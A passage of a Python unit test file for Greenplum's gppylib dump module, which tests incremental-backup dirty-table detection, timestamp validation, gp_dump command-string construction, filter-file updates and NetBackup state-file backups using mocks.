@patch('gppylib.operations.dump.get_lines_from_file', return_value=['public,t1,1234,ALTER,CHANGE COLUMN,201212121212:102510', 'pepper,t2,2234,TRUNCATE,,201212121213:102510'])
def test_get_tables_with_dirty_metadata_01(self, mock1, mock2):
expected_output = set()
master_datadir = 'foo'
backup_dir = None
full_timestamp = '20121212010101'
cur_pgstatoperations = ['public,t1,1234,ALTER,CHANGE COLUMN,201212121212:102510', 'pepper,t2,2234,TRUNCATE,,201212121213:102510']
dirty_tables = get_tables_with_dirty_metadata(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, full_timestamp, cur_pgstatoperations)
self.assertEqual(dirty_tables, expected_output)
@patch('gppylib.operations.dump.get_last_dump_timestamp', return_value='20121212010100')
@patch('gppylib.operations.dump.get_lines_from_file', return_value=['public,t1,1234,ALTER,CHANGE COLUMN,201212121212:102510', 'pepper,t2,2234,TRUNCATE,,201212121213:102511'])
def test_get_tables_with_dirty_metadata_02(self, mock1, mock2):
expected_output = set(['pepper.t2'])
master_datadir = 'foo'
backup_dir = None
full_timestamp = '20121212010101'
cur_pgstatoperations = ['public,t1,1234,ALTER,CHANGE COLUMN,201212121212:102510', 'pepper,t2,2234,TRUNCATE,,201212121213:102510']
dirty_tables = get_tables_with_dirty_metadata(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, full_timestamp, cur_pgstatoperations)
self.assertEqual(dirty_tables, expected_output)
@patch('gppylib.operations.dump.get_last_dump_timestamp', return_value='20121212010100')
@patch('gppylib.operations.dump.get_lines_from_file', return_value=['pepper,t2,2234,TRUNCATE,,201212121213:102510'])
def test_get_tables_with_dirty_metadata_03(self, mock1, mock2):
expected_output = set(['public.t1'])
master_datadir = 'foo'
backup_dir = None
full_timestamp = '20121212010101'
cur_pgstatoperations = ['public,t1,1234,ALTER,CHANGE COLUMN,201212121212:102510', 'pepper,t2,2234,TRUNCATE,,201212121213:102510']
dirty_tables = get_tables_with_dirty_metadata(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, full_timestamp, cur_pgstatoperations)
self.assertEqual(dirty_tables, expected_output)
@patch('gppylib.operations.dump.get_last_dump_timestamp', return_value='20121212010100')
@patch('gppylib.operations.dump.get_lines_from_file', return_value=['pepper,t1,2234,TRUNCATE,,201212121213:102510', 'pepper,t2,2234,TRUNCATE,,201212121213:102510'])
def test_get_tables_with_dirty_metadata_04(self, mock1, mock2):
expected_output = set(['pepper.t2', 'public.t3'])
master_datadir = 'foo'
backup_dir = None
full_timestamp = '20121212010101'
cur_pgstatoperations = ['pepper,t2,1234,ALTER,CHANGE COLUMN,201212121212:102510',
'pepper,t2,2234,TRUNCATE,,201212121213:102510',
'public,t3,2234,TRUNCATE,,201212121213:102510']
dirty_tables = get_tables_with_dirty_metadata(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, full_timestamp, cur_pgstatoperations)
self.assertEqual(dirty_tables, expected_output)
@patch('gppylib.operations.dump.get_last_dump_timestamp', return_value='20121212010100')
@patch('gppylib.operations.dump.get_lines_from_file', return_value=['pepper,t1,1234,ALTER,CHANGE COLUMN,201212121212:102510', 'pepper,t2,2234,TRUNCATE,,201212121213:102510'])
def test_get_tables_with_dirty_metadata_05(self, mock1, mock2):
expected_output = set(['public.t1'])
master_datadir = 'foo'
backup_dir = None
full_timestamp = '20121212010101'
cur_pgstatoperations = ['public,t1,1234,ALTER,CHANGE COLUMN,201212121212:102510', 'pepper,t2,2234,TRUNCATE,,201212121213:102510']
dirty_tables = get_tables_with_dirty_metadata(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, full_timestamp, cur_pgstatoperations)
self.assertEqual(dirty_tables, expected_output)
@patch('gppylib.operations.dump.get_last_dump_timestamp', return_value='20121212010100')
@patch('gppylib.operations.dump.get_lines_from_file', return_value=['pepper,t1,1234,ALTER,CHANGE COLUMN,201212121212:102510', 'pepper,t2,2234,TRUNCATE,,201212121213:102510'])
@patch('gppylib.operations.dump.restore_file_with_nbu')
def test_get_tables_with_dirty_metadata_06(self, mock1, mock2, mock3):
expected_output = set(['public.t1'])
master_datadir = 'foo'
backup_dir = None
full_timestamp = '20121212010101'
cur_pgstatoperations = ['public,t1,1234,ALTER,CHANGE COLUMN,201212121212:102510', 'pepper,t2,2234,TRUNCATE,,201212121213:102510']
netbackup_service_host = "mdw"
netbackup_block_size = "1024"
dirty_tables = get_tables_with_dirty_metadata(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, full_timestamp, cur_pgstatoperations, netbackup_service_host, netbackup_block_size)
self.assertEqual(dirty_tables, expected_output)
@patch('gppylib.operations.dump.get_last_state', return_value=['pepper, t1, 100', 'pepper, t2, 200'])
def test_get_dirty_partition_tables_00(self, mock1):
master_datadir = 'foo'
backup_dir = None
full_timestamp = '20121212010101'
table_type = 'ao'
curr_state_partition_list = ['pepper, t3, 300', 'pepper, t1, 200']
expected_output = set(['pepper.t3', 'pepper.t1'])
result = get_dirty_partition_tables(table_type, curr_state_partition_list, master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, full_timestamp)
self.assertEqual(result, expected_output)
@patch('gppylib.operations.dump.get_last_state', return_value=['pepper, t1, 100', 'pepper, t2, 200'])
def test_get_dirty_partition_tables_01(self, mock1):
master_datadir = 'foo'
backup_dir = None
full_timestamp = '20121212010101'
table_type = 'ao'
curr_state_partition_list = ['pepper, t3, 300', 'pepper, t1, 200']
netbackup_service_host = "mdw"
netbackup_block_size = "1024"
expected_output = set(['pepper.t3', 'pepper.t1'])
result = get_dirty_partition_tables(table_type, curr_state_partition_list, master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, full_timestamp, netbackup_service_host, netbackup_block_size)
self.assertEqual(result, expected_output)
@patch('gppylib.operations.dump.get_dirty_heap_tables', return_value=set(['public.heap_table1']))
@patch('gppylib.operations.dump.get_dirty_partition_tables', side_effect=[set(['public,ao_t1,100', 'public,ao_t2,100']), set(['public,co_t1,100', 'public,co_t2,100'])])
@patch('gppylib.operations.dump.get_tables_with_dirty_metadata', return_value=set(['public,ao_t3,1234,CREATE,,20121212101010', 'public,co_t3,2345,VACCUM,,20121212101010', 'public,ao_t1,1234,CREATE,,20121212101010']))
def test_get_dirty_tables_00(self, mock1, mock2, mock3):
master_port = '5432'
dbname = 'foo'
master_datadir = '/foo'
backup_dir = None
fulldump_ts = '20121212101010'
ao_partition_list = []
co_partition_list = []
last_operation_data = []
netbackup_service_host = None
netbackup_block_size = None
dirty_tables = get_dirty_tables(master_port, dbname, master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix,
fulldump_ts, ao_partition_list, co_partition_list, last_operation_data, netbackup_service_host, netbackup_block_size)
expected_output = ['public.heap_table1', 'public.ao_t1', 'public.ao_t2', 'public.co_t1', 'public.co_t2', 'public.ao_t3', 'public.co_t3']
self.assertEqual(dirty_tables.sort(), expected_output.sort())
@patch('gppylib.operations.dump.get_latest_report_timestamp', return_value = '20130127150999')
def test_validate_current_timestamp_00(self, mock):
directory = '/foo'
#no exception
validate_current_timestamp(directory, self.dumper.dump_dir, self.dumper.dump_prefix, current='20130127151000')
@patch('gppylib.operations.dump.get_latest_report_timestamp', return_value = '20130127151000')
def test_validate_current_timestamp_01(self, mock):
directory = '/foo'
with self.assertRaisesRegexp(Exception, 'There is a future dated backup on the system preventing new backups'):
validate_current_timestamp(directory, self.dumper.dump_dir, self.dumper.dump_prefix, current='20130127151000')
@patch('gppylib.operations.dump.get_latest_report_timestamp', return_value = '20130127151001')
def test_validate_current_timestamp_02(self, mock):
directory = '/foo'
with self.assertRaisesRegexp(Exception, 'There is a future dated backup on the system preventing new backups'):
validate_current_timestamp(directory, self.dumper.dump_dir, self.dumper.dump_prefix, current='20130127151000')
@patch('gppylib.operations.dump.get_latest_report_timestamp', return_value = '20140127151001')
def test_validate_current_timestamp_03(self, mock):
directory = '/foo'
with self.assertRaisesRegexp(Exception, 'There is a future dated backup on the system preventing new backups'):
validate_current_timestamp(directory, self.dumper.dump_dir, self.dumper.dump_prefix, current='20130127151000')
@patch('gppylib.operations.dump.get_latest_report_timestamp', return_value = '20120127150999')
def test_validate_current_timestamp_04(self, mock):
directory = '/foo'
#no exception
validate_current_timestamp(directory, self.dumper.dump_dir, self.dumper.dump_prefix, current='20130127151000')
def test_validate_modcount_00(self):
schemaname = 'public'
partitionname = 't1'
tuple_count = '999999999999999'
validate_modcount(schemaname, partitionname, tuple_count)
def test_validate_modcount_01(self):
schemaname = 'public'
partitionname = 't1'
tuple_count = '#########'
with self.assertRaisesRegexp(Exception, 'Can not convert modification count for table.'):
validate_modcount(schemaname, partitionname, tuple_count)
def test_validate_modcount_02(self):
schemaname = 'public'
partitionname = 't1'
tuple_count = '1+e15'
with self.assertRaisesRegexp(Exception, 'Can not convert modification count for table.'):
validate_modcount(schemaname, partitionname, tuple_count)
def test_validate_modcount_03(self):
schemaname = 'public'
partitionname = 't1'
tuple_count = '1000000000000000'
with self.assertRaisesRegexp(Exception, 'Exceeded backup max tuple count of 1 quadrillion rows per table for:'):
validate_modcount(schemaname, partitionname, tuple_count)
def test_generate_dump_timestamp_00(self):
timestamp = datetime(2013, 02, 04, 10, 10, 10, 10000)
generate_dump_timestamp(timestamp)
from gppylib.operations.dump import DUMP_DATE, TIMESTAMP_KEY, TIMESTAMP
ts_key = timestamp.strftime("%Y%m%d%H%M%S")
self.assertEqual(timestamp, TIMESTAMP)
self.assertEqual(ts_key, TIMESTAMP_KEY)
self.assertEqual(ts_key[0:8], DUMP_DATE)
def test_generate_dump_timestamp_01(self):
timestamp = None
generate_dump_timestamp(timestamp)
from gppylib.operations.dump import DUMP_DATE, TIMESTAMP_KEY, TIMESTAMP
self.assertNotEqual(None, TIMESTAMP)
self.assertNotEqual(None, TIMESTAMP_KEY)
self.assertNotEqual(None, DUMP_DATE)
def test_generate_dump_timestamp_02(self):
timestamp1 = datetime(2013, 02, 04, 10, 10, 10, 10000)
generate_dump_timestamp(timestamp1)
timestamp2 = datetime(2013, 03, 04, 10, 10, 10, 10000)
generate_dump_timestamp(timestamp2)
from gppylib.operations.dump import DUMP_DATE, TIMESTAMP_KEY, TIMESTAMP
ts_key = timestamp2.strftime("%Y%m%d%H%M%S")
self.assertEqual(timestamp2, TIMESTAMP)
self.assertEqual(ts_key, TIMESTAMP_KEY)
self.assertEqual(ts_key[0:8], DUMP_DATE)
def test_generate_dump_timestamp_03(self):
timestamp1 = datetime(2013, 02, 04, 10, 10, 10, 10000)
generate_dump_timestamp(timestamp1)
timestamp2 = datetime(2012, 03, 04, 10, 10, 10, 10000)
generate_dump_timestamp(timestamp2)
from gppylib.operations.dump import DUMP_DATE, TIMESTAMP_KEY, TIMESTAMP
ts_key = timestamp2.strftime("%Y%m%d%H%M%S")
self.assertEqual(timestamp2, TIMESTAMP)
self.assertEqual(ts_key, TIMESTAMP_KEY)
self.assertEqual(ts_key[0:8], DUMP_DATE)
def test_create_dump_line_00(self):
self.dumper.include_schema_file = '/tmp/foo'
output = self.dumper.create_dump_string('dcddev', '20121212', '01234567891234')
expected_output = """gp_dump -p 0 -U dcddev --gp-d=/data/master/p1/db_dumps/20121212 --gp-r=/data/master/p1/db_dumps/20121212 --gp-s=p --gp-k=01234567891234 --no-lock --gp-c --no-expand-children -n "\\"testschema\\"" testdb --table-file=/tmp/table_list.txt --schema-file=/tmp/foo"""
self.assertEquals(output, expected_output)
def test00_create_dump_line_with_prefix(self):
self.dumper.dump_prefix = 'foo_'
output = self.dumper.create_dump_string('dcddev', '20121212', '01234567891234')
expected_output = """gp_dump -p 0 -U dcddev --gp-d=/data/master/p1/db_dumps/20121212 --gp-r=/data/master/p1/db_dumps/20121212 --gp-s=p --gp-k=01234567891234 --no-lock --gp-c --prefix=foo_ --no-expand-children -n "\\"testschema\\"" testdb --table-file=/tmp/table_list.txt"""
self.assertEquals(output, expected_output)
def test_create_dump_line_with_include_file(self):
self.dumper.dump_prefix = 'metro_'
self.dumper.include_dump_tables_file = ('bar')
output = self.dumper.create_dump_string('dcddev', '20121212', '01234567891234')
expected_output = """gp_dump -p 0 -U dcddev --gp-d=/data/master/p1/db_dumps/20121212 --gp-r=/data/master/p1/db_dumps/20121212 --gp-s=p --gp-k=01234567891234 --no-lock --gp-c --prefix=metro_ --no-expand-children -n "\\"testschema\\"" testdb --table-file=%s""" % self.dumper.include_dump_tables_file
self.assertEquals(output, expected_output)
def test_create_dump_line_with_no_file_args(self):
self.dumper.dump_prefix = 'metro_'
self.dumper.include_dump_tables_file = (None,)
output = self.dumper.create_dump_string('dcddev', '20121212', '01234567891234')
expected_output = """gp_dump -p 0 -U dcddev --gp-d=/data/master/p1/db_dumps/20121212 --gp-r=/data/master/p1/db_dumps/20121212 --gp-s=p --gp-k=01234567891234 --no-lock --gp-c --prefix=metro_ --no-expand-children -n "\\"testschema\\"" testdb"""
self.assertEquals(output, expected_output)
def test_create_dump_line_with_netbackup_params(self):
self.dumper.include_dump_tables_file = (None,)
self.dumper.netbackup_service_host = "mdw"
self.dumper.netbackup_policy = "test_policy"
self.dumper.netbackup_schedule = "test_schedule"
output = self.dumper.create_dump_string('dcddev', '20121212', '01234567891234')
expected_output = """gp_dump -p 0 -U dcddev --gp-d=/data/master/p1/db_dumps/20121212 --gp-r=/data/master/p1/db_dumps/20121212 --gp-s=p --gp-k=01234567891234 --no-lock --gp-c --no-expand-children -n "\\"testschema\\"" testdb --netbackup-service-host=mdw --netbackup-policy=test_policy --netbackup-schedule=test_schedule"""
self.assertEquals(output, expected_output)
def test_get_backup_dir_with_master_data_dir(self):
master_datadir = '/foo'
backup_dir = None
self.assertEquals('/foo', get_backup_dir(master_datadir, backup_dir))
def test_get_backup_dir_with_backup_dir(self):
master_datadir = 'foo'
backup_dir = '/bkup'
self.assertEquals('/bkup', get_backup_dir(master_datadir, backup_dir))
@patch('gppylib.operations.dump.get_latest_full_dump_timestamp', return_value='20130101010101')
@patch('os.path.isfile', return_value=True)
def test_get_filter_file_file_exists(self, mock1, mock2):
dump_prefix = 'metro_'
master_datadir = '/foo'
backup_dir = None
dump_database = 'testdb'
expected_output = '/foo/db_dumps/20130101/metro_gp_dump_20130101010101_filter'
self.assertEquals(expected_output, get_filter_file(dump_database, master_datadir, backup_dir, self.dumper.dump_dir, dump_prefix))
@patch('os.path.isfile', return_value=False)
@patch('gppylib.operations.dump.get_latest_full_ts_with_nbu', return_value='20130101010101')
@patch('gppylib.operations.dump.check_file_dumped_with_nbu', return_value=True)
@patch('gppylib.operations.dump.restore_file_with_nbu')
def test_get_filter_file_file_exists_on_nbu(self, mock1, mock2, mock3, mock4):
dump_prefix = 'metro_'
master_datadir = '/foo'
backup_dir = None
dump_database = 'testdb'
netbackup_service_host = "mdw"
netbackup_block_size = "1024"
expected_output = '/foo/db_dumps/20130101/metro_gp_dump_20130101010101_filter'
self.assertEquals(expected_output, get_filter_file(dump_database, master_datadir, backup_dir, self.dumper.dump_dir, dump_prefix, netbackup_service_host, netbackup_block_size))
@patch('gppylib.operations.dump.get_latest_full_dump_timestamp', return_value='20130101010101')
@patch('os.path.isfile', return_value=False)
def test_get_filter_file_file_does_not_exists(self, mock1, mock2):
dump_prefix = 'metro_'
master_datadir = '/foo'
backup_dir = None
dump_database = 'testdb'
self.assertEquals(None, get_filter_file(dump_database, master_datadir, backup_dir, self.dumper.dump_dir, dump_prefix))
def test_update_filter_file_with_dirty_list_00(self):
filter_file = '/tmp/foo'
write_lines_to_file(filter_file, ['public.t1'])
dirty_tables = ['public.t1', 'public.t2']
expected_output = ['public.t1', 'public.t2']
update_filter_file_with_dirty_list(filter_file, dirty_tables)
output = get_lines_from_file(filter_file)
try:
self.assertEquals(expected_output, output)
finally:
if os.path.exists(filter_file):
os.remove(filter_file)
def test_update_filter_file_with_dirty_list_01(self):
filter_file = '/tmp/foo'
write_lines_to_file(filter_file, ['public.t1'])
dirty_tables = ['public.t1']
expected_output = ['public.t1']
update_filter_file_with_dirty_list(filter_file, dirty_tables)
output = get_lines_from_file(filter_file)
try:
self.assertEquals(expected_output, output)
finally:
if os.path.exists(filter_file):
os.remove(filter_file)
def test_update_filter_file_with_dirty_list_02(self):
filter_file = '/tmp/foo'
write_lines_to_file(filter_file, ['public.t1', 'public.t2'])
dirty_tables = ['public.t2']
expected_output = ['public.t1', 'public.t2']
update_filter_file_with_dirty_list(filter_file, dirty_tables)
output = get_lines_from_file(filter_file)
try:
self.assertEquals(expected_output, output)
finally:
if os.path.exists(filter_file):
os.remove(filter_file)
def test_update_filter_file_with_dirty_list_03(self):
filter_file = '/tmp/foo'
write_lines_to_file(filter_file, [])
dirty_tables = ['public.t1', 'public.t2']
expected_output = ['public.t1', 'public.t2']
update_filter_file_with_dirty_list(filter_file, dirty_tables)
output = get_lines_from_file(filter_file)
try:
self.assertEquals(expected_output, output)
finally:
if os.path.exists(filter_file):
os.remove(filter_file)
@patch('gppylib.operations.dump.get_lines_from_file', return_value=['public.t1', 'pepper.t2'])
@patch('gppylib.operations.dump.get_latest_full_dump_timestamp', return_value='20130101010101')
@patch('gppylib.operations.dump.get_filter_file', return_value='/foo/metro_gp_dump_20130101010101_filter')
def test_filter_dirty_tables_with_filter(self, mock1, mock2, mock3):
dump_prefix = 'metro_'
master_datadir = '/foo'
backup_dir = None
dump_database = 'testdb'
dirty_tables = ['public.t1', 'public.t2', 'pepper.t1', 'pepper.t2']
expected_output = ['public.t1', 'pepper.t2']
self.assertEquals(sorted(expected_output), sorted(filter_dirty_tables(dirty_tables, dump_database, master_datadir, backup_dir, self.dumper.dump_dir, dump_prefix)))
@patch('gppylib.operations.dump.get_lines_from_file', return_value=['public.t1', 'pepper.t2'])
@patch('gppylib.operations.dump.get_filter_file', return_value='/foo/metro_gp_dump_20130101010101_filter')
@patch('gppylib.operations.dump.get_latest_full_ts_with_nbu', return_value='20130101010101')
def test_filter_dirty_tables_with_filter_with_nbu(self, mock1, mock2, mock3):
dump_prefix = 'metro_'
master_datadir = '/foo'
backup_dir = None
dump_database = 'testdb'
netbackup_service_host = "mdw"
netbackup_block_size = "1024"
dirty_tables = ['public.t1', 'public.t2', 'pepper.t1', 'pepper.t2']
expected_output = ['public.t1', 'pepper.t2']
self.assertEquals(sorted(expected_output), sorted(filter_dirty_tables(dirty_tables, dump_database, master_datadir, backup_dir, self.dumper.dump_dir, dump_prefix, netbackup_service_host, netbackup_block_size)))
@patch('gppylib.operations.dump.get_lines_from_file', return_value=['public.t1', 'pepper.t2'])
@patch('gppylib.operations.dump.get_latest_full_dump_timestamp', return_value='20130101010101')
@patch('gppylib.operations.dump.get_filter_file', return_value=None)
def test_filter_dirty_tables_without_filter(self, mock1, mock2, mock3):
dump_prefix = 'metro_'
master_datadir = '/foo'
backup_dir = None
dump_database = 'testdb'
dirty_tables = ['public.t1', 'public.t2', 'pepper.t1', 'pepper.t2']
self.assertEquals(sorted(dirty_tables), sorted(filter_dirty_tables(dirty_tables, dump_database, master_datadir, backup_dir, self.dumper.dump_dir, dump_prefix)))
@patch('gppylib.operations.dump.get_filter_file', return_value='/tmp/db_dumps/20121212/foo_gp_dump_01234567891234_filter')
def test_create_filtered_dump_string(self, mock1):
self.dumper.dump_prefix = 'foo_'
output = self.dumper.create_filtered_dump_string('dcddev', '20121212', '01234567891234')
expected_output = """gp_dump -p 0 -U dcddev --gp-d=/data/master/p1/db_dumps/20121212 --gp-r=/data/master/p1/db_dumps/20121212 --gp-s=p --gp-k=01234567891234 --no-lock --gp-c --prefix=foo_ --no-expand-children -n "\\"testschema\\"" testdb --table-file=/tmp/table_list.txt --incremental-filter=/tmp/db_dumps/20121212/foo_gp_dump_01234567891234_filter"""
self.assertEquals(output, expected_output)
@patch('gppylib.operations.dump.Command.get_results', return_value=CommandResult(0, "", "", True, False))
@patch('gppylib.operations.dump.Command.run')
def test_perform_dump_normal(self, mock1, mock2):
self.dumper.dump_prefix = 'foo_'
title = 'Dump process'
dump_line = """gp_dump -p 0 -U dcddev --gp-d=/data/master/p1/db_dumps/20121212 --gp-r=/data/master/p1/db_dumps/20121212 --gp-s=p --gp-k=01234567891234 --no-lock --gp-c --prefix=foo_ --no-expand-children -n "\\"testschema\\"" testdb --table-file=/tmp/table_list.txt"""
(start, end, rc) = self.dumper.perform_dump(title, dump_line)
self.assertNotEqual(start, None)
self.assertNotEqual(end, None)
self.assertEquals(rc, 0)
class DumpGlobalTestCase(unittest.TestCase):
def setUp(self):
self.dumper = DumpGlobal(timestamp=None,
master_datadir='/foo',
master_port=0,
backup_dir='/foo',
dump_dir='db_dumps',
dump_prefix='',
ddboost=False)
def test_create_pgdump_command_line(self):
self.dumper = DumpGlobal(timestamp=TIMESTAMP_KEY, master_datadir='/foo', master_port=9000, backup_dir='/foo', dump_dir='db_dumps', dump_prefix='', ddboost=False)
global_file_name = '/foo/db_dumps/%s/gp_global_1_1_%s' % (DUMP_DATE, TIMESTAMP_KEY)
expected_output = "pg_dumpall -p 9000 -g --gp-syntax > %s" % global_file_name
output = self.dumper.create_pgdump_command_line()
self.assertEquals(output, expected_output)
@patch('gppylib.operations.dump.get_filter_file', return_value = '/tmp/update_test')
@patch('gppylib.operations.dump.get_lines_from_file', return_value = ['public.heap_table1','public.ao_part_table','public.ao_part_table_1_prt_p1'])
@patch('gppylib.operations.dump.execute_sql', return_value = [('public','ao_part_table','ao_part_table_1_prt_p1'), ('public','ao_part_table','ao_part_table_1_prt_p2')])
def test_update_filter_file_00(self, mock1, mock2, mock3):
master_datadir = '/tmp'
backup_dir = None
dump_database = 'testdb'
master_port = 5432
filter_filename = '/tmp/update_test'
update_filter_file(dump_database, master_datadir, backup_dir, master_port, self.dumper.dump_dir, self.dumper.dump_prefix)
contents = get_lines_from_file(filter_filename)
expected_result = ['public.heap_table1','public.ao_part_table','public.ao_part_table_1_prt_p1', 'public.ao_part_table_1_prt_p2']
self.assertEqual(expected_result.sort(), contents.sort())
os.remove(filter_filename)
@patch('gppylib.operations.dump.get_filter_file', return_value = '/tmp/update_test')
@patch('gppylib.operations.dump.get_lines_from_file', return_value = ['public.heap_table1','public.ao_part_table','public.ao_part_table_1_prt_p1', 'public.ao_part_table_1_prt_p2'])
@patch('gppylib.operations.dump.execute_sql', return_value = [('public','ao_part_table','ao_part_table_1_prt_p1')])
def test_update_filter_file_01(self, mock1, mock2, mock3):
master_datadir = '/tmp'
backup_dir = None
dump_database = 'testdb'
master_port = 5432
filter_filename = '/tmp/update_test'
update_filter_file(dump_database, master_datadir, backup_dir, master_port, self.dumper.dump_dir, self.dumper.dump_prefix)
contents = get_lines_from_file(filter_filename)
expected_result = ['public.heap_table1','public.ao_part_table','public.ao_part_table_1_prt_p1', 'public.ao_part_table_1_prt_p2']
self.assertEqual(expected_result.sort(), contents.sort())
os.remove(filter_filename)
@patch('gppylib.operations.dump.get_filter_file', return_value='/tmp/update_test')
@patch('gppylib.operations.dump.get_lines_from_file', return_value=['public.heap_table1', 'public.ao_part_table', 'public.ao_part_table_1_prt_p1', 'public.ao_part_table_1_prt_p2'])
@patch('gppylib.operations.dump.execute_sql', return_value=[('public', 'ao_part_table', 'ao_part_table_1_prt_p1')])
@patch('gppylib.operations.dump.restore_file_with_nbu')
@patch('gppylib.operations.dump.backup_file_with_nbu')
def test_update_filter_file_02(self, mock1, mock2, mock3, mock4, mock5):
master_datadir = '/tmp'
backup_dir = None
dump_database = 'testdb'
master_port = 5432
filter_filename = '/tmp/update_test'
netbackup_service_host = "mdw"
netbackup_policy = "nbu_policy"
netbackup_schedule = "nbu_schedule"
netbackup_block_size = "1024"
update_filter_file(dump_database, master_datadir, backup_dir, master_port, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size)
contents = get_lines_from_file(filter_filename)
expected_result = ['public.heap_table1', 'public.ao_part_table', 'public.ao_part_table_1_prt_p1', 'public.ao_part_table_1_prt_p2']
self.assertEqual(expected_result.sort(), contents.sort())
os.remove(filter_filename)
@patch('gppylib.operations.dump.backup_file_with_nbu')
def test_backup_state_files_with_nbu_00(self, mock1):
master_datadir = "/data"
backup_dir = "/datadomain"
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
netbackup_block_size = 100
netbackup_keyword = None
backup_state_files_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword)
@patch('gppylib.operations.dump.backup_file_with_nbu')
def test_backup_state_files_with_nbu_01(self, mock1):
master_datadir = "/data"
backup_dir = None
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
netbackup_block_size = 100
netbackup_keyword = None
backup_state_files_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword)
@patch('gppylib.operations.dump.backup_file_with_nbu')
def test_backup_state_files_with_nbu_02(self, mock1):
master_datadir = None
backup_dir = "/datadomain"
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
netbackup_block_size = 100
netbackup_keyword = None
backup_state_files_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword)
@patch('gppylib.operations.dump.backup_file_with_nbu')
def test_backup_state_files_with_nbu_03(self, mock1):
master_datadir = None
backup_dir = None
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
netbackup_block_size = 100
netbackup_keyword = None
with self.assertRaisesRegexp(Exception, 'Master data directory and backup directory are both none.'):
backup_state_files_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword)
@patch('gppylib.operations.dump.backup_file_with_nbu')
def test_backup_state_files_with_nbu_04(self, mock1):
master_datadir = "/data"
backup_dir = "/datadomain"
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
timestamp_key = "20140014000000"
netbackup_block_size = 100
netbackup_keyword = None
backup_state_files_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key)
@patch('gppylib.operations.dump.backup_file_with_nbu')
def test_backup_state_files_with_nbu_05(self, mock1):
master_datadir = "/data"
backup_dir = None
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
timestamp_key = "20140014000000"
netbackup_block_size = 100
netbackup_keyword = None
backup_state_files_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key)
@patch('gppylib.operations.dump.backup_file_with_nbu')
def test_backup_state_files_with_nbu_06(self, mock1):
master_datadir = None
backup_dir = "/datadomain"
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
timestamp_key = "20140014000000"
netbackup_block_size = 100
netbackup_keyword = None
backup_state_files_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key)
@patch('gppylib.operations.dump.backup_file_with_nbu')
def test_backup_state_files_with_nbu_07(self, mock1):
master_datadir = None
backup_dir = "/datadomain"
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
netbackup_block_size = None
netbackup_keyword = None
backup_state_files_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword)
@patch('gppylib.operations.dump.backup_file_with_nbu')
def test_backup_state_files_with_nbu_08(self, mock1):
master_datadir = None
backup_dir = "/datadomain"
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
timestamp_key = "20140014000000"
netbackup_block_size = None
netbackup_keyword = None
backup_state_files_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key)
@patch('gppylib.operations.dump.backup_file_with_nbu')
def test_backup_state_files_with_nbu_09(self, mock1):
master_datadir = "/data"
backup_dir = "/datadomain"
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
netbackup_block_size = 100
netbackup_keyword = "foo"
backup_state_files_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword)
@patch('gppylib.operations.dump.backup_file_with_nbu')
def test_backup_state_files_with_nbu_10(self, mock1):
master_datadir = "/data"
backup_dir = None
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
netbackup_block_size = 100
netbackup_keyword = "foo"
backup_state_files_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword)
@patch('gppylib.operations.dump.backup_file_with_nbu')
def test_backup_state_files_with_nbu_11(self, mock1):
master_datadir = "/data"
backup_dir = "/datadomain"
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
